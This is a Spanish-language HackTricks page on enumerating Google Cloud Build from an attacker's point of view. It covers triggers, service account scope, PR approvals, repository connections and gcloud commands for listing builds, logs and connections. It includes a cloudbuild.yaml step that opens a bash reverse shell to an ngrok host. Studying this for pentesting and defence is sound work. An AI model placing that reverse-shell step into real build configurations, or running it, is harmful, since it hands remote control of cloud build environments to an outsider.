GCP - Cloud Build Enum

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

Google Cloud Build es una plataforma de CI/CD gestionada que automatiza la construcción de software y los procesos de lanzamiento, integrándose con repositorios de código fuente y admitiendo una amplia gama de lenguajes de programación. Permite a los desarrolladores construir, probar e implementar código automáticamente al mismo tiempo que ofrece flexibilidad para personalizar los pasos de construcción y flujos de trabajo.

Cada Desencadenador de Cloud Build está relacionado con un Repositorio de Cloud o conectado directamente con un repositorio externo (Github, Bitbucket y Gitlab).

No pude encontrar ninguna forma de robar el token de Github/Bitbucket desde aquí o desde Repositorios de Cloud porque cuando se descarga el repositorio se accede a través de una URL de https://source.cloud.google.com/ y Github no es accedido por el cliente.

Eventos

Cloud Build puede ser desencadenado si:

  • Se hace push a una rama: Especificar la rama

  • Se hace push a una nueva etiqueta: Especificar la etiqueta

  • Pull request: Especificar la rama que recibe el PR

  • Invocación manual

  • Mensaje Pub/Sub: Especificar el tema

  • Evento de Webhook: Expondrá una URL HTTPS y la solicitud debe ser autenticada con un secreto

Ejecución

Hay 3 opciones:

  • Un yaml/json especificando los comandos a ejecutar. Por lo general: /cloudbuild.yaml

  • Solo uno que se puede especificar "en línea" en la consola web y en la CLI

  • Opción más común

  • Relevante para acceso no autenticado

  • Un Dockerfile para construir

  • Un Buildpack para construir

Permisos de SA

La Cuenta de Servicio tiene el alcance cloud-platform, por lo que puede utilizar todos los privilegios. Si no se especifica una SA (como al hacer submit) se utilizará la SA predeterminada <número-proyecto>@cloudbuild.gserviceaccount.com.

Por defecto no se otorgan permisos, pero es bastante fácil dar algunos:

Aprobaciones

Es posible configurar un Cloud Build para requerir aprobaciones para las ejecuciones de construcción (deshabilitado de forma predeterminada).

Aprobaciones de PR

Cuando el desencadenador es un PR porque cualquiera puede realizar PRs en repositorios públicos sería muy peligroso simplemente permitir la ejecución del desencadenador con cualquier PR. Por lo tanto, de forma predeterminada, la ejecución solo será automática para propietarios y colaboradores, y para ejecutar el desencadenador con PRs de otros usuarios, un propietario o colaborador debe comentar /gcbrun.

Conexiones y Repositorios

Las conexiones se pueden crear en:

  • GitHub: Mostrará un aviso de OAuth pidiendo permisos para obtener un token de Github que se almacenará dentro del Gestor de Secretos.

  • GitHub Enterprise: Pedirá instalar una GithubApp. Se creará y almacenará un token de autenticación de su host de GitHub Enterprise en este proyecto como un secreto del Gestor de Secretos.

  • GitLab / Enterprise: Necesitas proporcionar el token de acceso a la API y el token de acceso de API de Lectura que se almacenarán en el Gestor de Secretos.

Una vez que se genera una conexión, puedes usarla para vincular repositorios a los que la cuenta de Github tiene acceso.

Esta opción está disponible a través del botón:

Ten en cuenta que los repositorios conectados con este método están disponibles solo en Desencadenadores que utilizan la 2ª generación.

Conectar un Repositorio

Esto no es lo mismo que una conexión. Esto permite diferentes formas de obtener acceso a un repositorio de Github o Bitbucket pero no genera un objeto de conexión, pero sí genera un objeto de repositorio (de 1ª generación).

Esta opción está disponible a través del botón:

Almacenamiento

A veces Cloud Build generará un nuevo almacenamiento para almacenar los archivos del desencadenador. Esto sucede, por ejemplo, en el ejemplo que ofrece GCP con:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Un bucket de almacenamiento llamado security-devbox_cloudbuild se crea para almacenar un archivo .tgz con los archivos a utilizar.

Obtener shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Instalar gcloud dentro de Cloud Build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeración

Podrías encontrar información sensible en las configuraciones de compilación y registros.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Escalada de Privilegios

pageGCP - Cloudbuild Privesc

Acceso no Autenticado

pageGCP - Cloud Build Unauthenticated Enum

Post Explotación

pageGCP - Cloud Build Post Exploitation
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización